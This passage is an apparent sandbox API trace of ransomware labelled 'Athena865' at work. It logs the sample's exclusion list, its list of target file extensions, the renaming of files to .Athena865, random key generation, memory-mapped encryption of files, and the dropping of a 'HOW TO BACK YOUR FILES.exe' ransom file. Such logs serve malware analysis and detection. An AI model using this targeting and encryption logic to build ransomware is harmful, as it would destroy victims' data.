returned -1 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="temp") returned -1 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="pagefile.sys") returned -1 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="boot") returned -1 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="ids.txt") returned -1 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="ntuser.dat") returned -1 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="perflogs") returned -1 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="MSBuild") returned -1 [0095.560] lstrlenW (lpString="AssemblyList_4_extended.xml") returned 27 [0095.560] lstrcpyW (in: lpString1=0x241e8a8, lpString2="AssemblyList_4_extended.xml" | out: lpString1="AssemblyList_4_extended.xml") returned="AssemblyList_4_extended.xml" [0095.560] lstrlenW (lpString="AssemblyList_4_extended.xml") returned 27 [0095.560] lstrlenW (lpString="Athena865") returned 9 [0095.560] lstrcmpiW (lpString1="ended.xml", lpString2="Athena865") returned 1 [0095.560] lstrlenW (lpString=".dll") returned 4 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2=".dll") returned 1 [0095.560] lstrlenW (lpString=".lnk") returned 4 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2=".lnk") returned 1 [0095.560] lstrlenW (lpString=".ini") returned 4 [0095.561] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2=".ini") returned 1 [0095.561] lstrlenW (lpString=".sys") returned 4 [0095.561] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2=".sys") returned 1 [0095.561] lstrlenW (lpString="AssemblyList_4_extended.xml") returned 27 [0095.561] lstrlenW (lpString="bak") returned 3 [0095.561] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0095.561] lstrlenW (lpString="ba_") returned 3 [0095.561] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0095.561] lstrlenW (lpString="dbb") returned 3 [0095.561] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0095.561] lstrlenW (lpString="vmdk") returned 4 [0095.561] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0095.561] lstrlenW (lpString="rar") returned 3 [0095.561] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0095.561] lstrlenW (lpString="zip") returned 3 [0095.561] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0095.561] lstrlenW (lpString="tgz") returned 3 [0095.561] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0095.561] lstrlenW (lpString="vbox") returned 4 [0095.561] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0095.561] lstrlenW (lpString="vdi") returned 3 [0095.561] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0095.561] lstrlenW (lpString="vhd") returned 3 [0095.561] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0095.561] lstrlenW (lpString="vhdx") returned 4 [0095.561] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0095.561] lstrlenW (lpString="avhd") returned 4 [0095.561] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0095.561] lstrlenW (lpString="db") returned 2 [0095.561] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0095.561] lstrlenW (lpString="db2") returned 3 [0095.561] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0095.562] lstrlenW (lpString="db3") returned 3 [0095.562] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0095.562] lstrlenW (lpString="dbf") returned 3 [0095.562] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0095.562] lstrlenW (lpString="mdf") returned 3 [0095.562] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0095.562] lstrlenW (lpString="mdb") returned 3 [0095.562] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0095.562] lstrlenW (lpString="sql") returned 3 [0095.562] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0095.562] lstrlenW (lpString="sqlite") returned 6 [0095.562] lstrcmpiW (lpString1="ed.xml", lpString2="sqlite") returned -1 [0095.562] lstrlenW (lpString="sqlite3") returned 7 [0095.562] lstrcmpiW (lpString1="ded.xml", lpString2="sqlite3") returned -1 [0095.562] lstrlenW (lpString="sqlitedb") returned 8 [0095.562] lstrcmpiW (lpString1="nded.xml", lpString2="sqlitedb") returned -1 [0095.562] lstrlenW (lpString="xml") returned 3 [0095.562] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0095.562] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.Athena865") returned 85 [0095.562] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml.athena865"), dwFlags=0x1) returned 1 [0095.564] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0095.564] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8220) returned 1 [0095.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0095.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0095.564] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0095.565] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.565] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.565] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2320, lpName=0x0) returned 0x154 [0095.566] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2320) returned 0x100000 [0095.568] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0095.568] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.568] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.569] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0095.569] CloseHandle (hObject=0x154) returned 1 [0095.569] CloseHandle (hObject=0x17c) returned 1 [0095.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0095.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0095.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.570] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc12a7320, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc12a7320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0095.570] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0095.570] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc12a7320, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc12a7320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0095.570] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0095.570] ReleaseMutex (hMutex=0xec) returned 1 [0095.570] CloseHandle (hObject=0xec) returned 1 [0095.570] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\browser" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\browser") returned="C:\\Program Files (x86)\\Mozilla Firefox\\browser" [0095.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51bd58 | out: hHeap=0x4f0000) returned 1 [0095.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c5f0 | out: hHeap=0x4f0000) returned 1 [0095.570] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser") returned 46 [0095.570] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A6986E39FEDB5830E5431FE2FB2257D2") returned 0xec [0095.570] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0095.570] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\browser" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\browser") returned="C:\\Program Files (x86)\\Mozilla Firefox\\browser" [0095.570] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0095.570] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\how to back your files.exe"), bFailIfExists=1) returned 0 [0095.571] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0095.571] GetLastError () returned 0x0 [0095.571] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0095.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0095.571] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0095.572] CloseHandle (hObject=0xf4) returned 1 [0095.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0095.572] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0095.572] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1365a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc1365a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0095.572] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.572] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.572] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0095.572] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1365a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc1365a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.572] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.572] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.572] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0095.572] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0095.572] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4910680, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x14623, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="blocklist.xml", cAlternateFileName="BLOCKL~1.XML")) returned 1 [0095.572] lstrcmpiW (lpString1="blocklist.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.572] lstrcmpiW (lpString1="blocklist.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.572] lstrcmpiW (lpString1="blocklist.xml", lpString2=".") returned 1 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2="..") returned 1 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2="windows") returned -1 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2="bootmgr") returned -1 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2="temp") returned -1 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2="pagefile.sys") returned -1 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2="boot") returned -1 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2="ids.txt") returned -1 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2="ntuser.dat") returned -1 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2="perflogs") returned -1 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2="MSBuild") returned -1 [0095.573] lstrlenW (lpString="blocklist.xml") returned 13 [0095.573] lstrcpyW (in: lpString1=0x241e8a6, lpString2="blocklist.xml" | out: lpString1="blocklist.xml") returned="blocklist.xml" [0095.573] lstrlenW (lpString="blocklist.xml") returned 13 [0095.573] lstrlenW (lpString="Athena865") returned 9 [0095.573] lstrcmpiW (lpString1="klist.xml", lpString2="Athena865") returned 1 [0095.573] lstrlenW (lpString=".dll") returned 4 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2=".dll") returned 1 [0095.573] lstrlenW (lpString=".lnk") returned 4 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2=".lnk") returned 1 [0095.573] lstrlenW (lpString=".ini") returned 4 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2=".ini") returned 1 [0095.573] lstrlenW (lpString=".sys") returned 4 [0095.573] lstrcmpiW (lpString1="blocklist.xml", lpString2=".sys") returned 1 [0095.573] lstrlenW (lpString="blocklist.xml") returned 13 [0095.573] lstrlenW (lpString="bak") returned 3 [0095.573] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0095.573] lstrlenW (lpString="ba_") returned 3 [0095.573] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0095.573] lstrlenW (lpString="dbb") returned 3 [0095.573] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0095.573] lstrlenW (lpString="vmdk") returned 4 [0095.573] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0095.573] lstrlenW (lpString="rar") returned 3 [0095.574] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0095.574] lstrlenW (lpString="zip") returned 3 [0095.574] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0095.574] lstrlenW (lpString="tgz") returned 3 [0095.574] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0095.574] lstrlenW (lpString="vbox") returned 4 [0095.574] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0095.574] lstrlenW (lpString="vdi") returned 3 [0095.574] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0095.574] lstrlenW (lpString="vhd") returned 3 [0095.574] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0095.574] lstrlenW (lpString="vhdx") returned 4 [0095.574] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0095.574] lstrlenW (lpString="avhd") returned 4 [0095.574] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0095.574] lstrlenW (lpString="db") returned 2 [0095.574] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0095.574] lstrlenW (lpString="db2") returned 3 [0095.574] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0095.574] lstrlenW (lpString="db3") returned 3 [0095.574] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0095.574] lstrlenW (lpString="dbf") returned 3 [0095.574] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0095.574] lstrlenW (lpString="mdf") returned 3 [0095.574] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0095.574] lstrlenW (lpString="mdb") returned 3 [0095.574] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0095.574] lstrlenW (lpString="sql") returned 3 [0095.574] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0095.574] lstrlenW (lpString="sqlite") returned 6 [0095.574] lstrcmpiW (lpString1="st.xml", lpString2="sqlite") returned 1 [0095.574] lstrlenW (lpString="sqlite3") returned 7 [0095.575] lstrcmpiW (lpString1="ist.xml", lpString2="sqlite3") returned -1 [0095.575] lstrlenW (lpString="sqlitedb") returned 8 [0095.575] lstrcmpiW (lpString1="list.xml", lpString2="sqlitedb") returned -1 [0095.575] lstrlenW (lpString="xml") returned 3 [0095.575] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0095.575] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml.Athena865") returned 70 [0095.575] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml.athena865"), dwFlags=0x1) returned 1 [0095.576] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0095.576] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=83491) returned 1 [0095.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0095.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0095.576] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0095.577] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.577] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.577] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14930, lpName=0x0) returned 0x154 [0095.578] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14930) returned 0x100000 [0095.583] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0095.584] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.584] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.585] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0095.585] CloseHandle (hObject=0x154) returned 1 [0095.585] CloseHandle (hObject=0x17c) returned 1 [0095.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0095.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0095.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.586] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1 [0095.586] lstrcmpiW (lpString1="chrome.manifest", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.586] lstrcmpiW (lpString1="chrome.manifest", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.586] lstrcmpiW (lpString1="chrome.manifest", lpString2=".") returned 1 [0095.586] lstrcmpiW (lpString1="chrome.manifest", lpString2="..") returned 1 [0095.586] lstrcmpiW (lpString1="chrome.manifest", lpString2="windows") returned -1 [0095.586] lstrcmpiW (lpString1="chrome.manifest", lpString2="bootmgr") returned 1 [0095.586] lstrcmpiW (lpString1="chrome.manifest", lpString2="temp") returned -1 [0095.586] lstrcmpiW (lpString1="chrome.manifest", lpString2="pagefile.sys") returned -1 [0095.586] lstrcmpiW (lpString1="chrome.manifest", lpString2="boot") returned 1 [0095.586] lstrcmpiW (lpString1="chrome.manifest", lpString2="ids.txt") returned -1 [0095.586] lstrcmpiW (lpString1="chrome.manifest", lpString2="ntuser.dat") returned -1 [0095.586] lstrcmpiW (lpString1="chrome.manifest", lpString2="perflogs") returned -1 [0095.586] lstrcmpiW (lpString1="chrome.manifest", lpString2="MSBuild") returned -1 [0095.586] lstrlenW (lpString="chrome.manifest") returned 15 [0095.586] lstrcpyW (in: lpString1=0x241e8a6, lpString2="chrome.manifest" | out: lpString1="chrome.manifest") returned="chrome.manifest" [0095.586] lstrlenW (lpString="chrome.manifest") returned 15 [0095.586] lstrlenW (lpString="Athena865") returned 9 [0095.587] lstrcmpiW (lpString1=".manifest", lpString2="Athena865") returned -1 [0095.587] lstrlenW (lpString=".dll") returned 4 [0095.587] lstrcmpiW (lpString1="chrome.manifest", lpString2=".dll") returned 1 [0095.587] lstrlenW (lpString=".lnk") returned 4 [0095.587] lstrcmpiW (lpString1="chrome.manifest", lpString2=".lnk") returned 1 [0095.587] lstrlenW (lpString=".ini") returned 4 [0095.587] lstrcmpiW (lpString1="chrome.manifest", lpString2=".ini") returned 1 [0095.587] lstrlenW (lpString=".sys") returned 4 [0095.587] lstrcmpiW (lpString1="chrome.manifest", lpString2=".sys") returned 1 [0095.587] lstrlenW (lpString="chrome.manifest") returned 15 [0095.587] lstrlenW (lpString="bak") returned 3 [0095.587] lstrcmpiW (lpString1="est", lpString2="bak") returned 1 [0095.587] lstrlenW (lpString="ba_") returned 3 [0095.587] lstrcmpiW (lpString1="est", lpString2="ba_") returned 1 [0095.587] lstrlenW (lpString="dbb") returned 3 [0095.587] lstrcmpiW (lpString1="est", lpString2="dbb") returned 1 [0095.587] lstrlenW (lpString="vmdk") returned 4 [0095.587] lstrcmpiW (lpString1="fest", lpString2="vmdk") returned -1 [0095.587] lstrlenW (lpString="rar") returned 3 [0095.587] lstrcmpiW (lpString1="est", lpString2="rar") returned -1 [0095.587] lstrlenW (lpString="zip") returned 3 [0095.587] lstrcmpiW (lpString1="est", lpString2="zip") returned -1 [0095.587] lstrlenW (lpString="tgz") returned 3 [0095.587] lstrcmpiW (lpString1="est", lpString2="tgz") returned -1 [0095.587] lstrlenW (lpString="vbox") returned 4 [0095.587] lstrcmpiW (lpString1="fest", 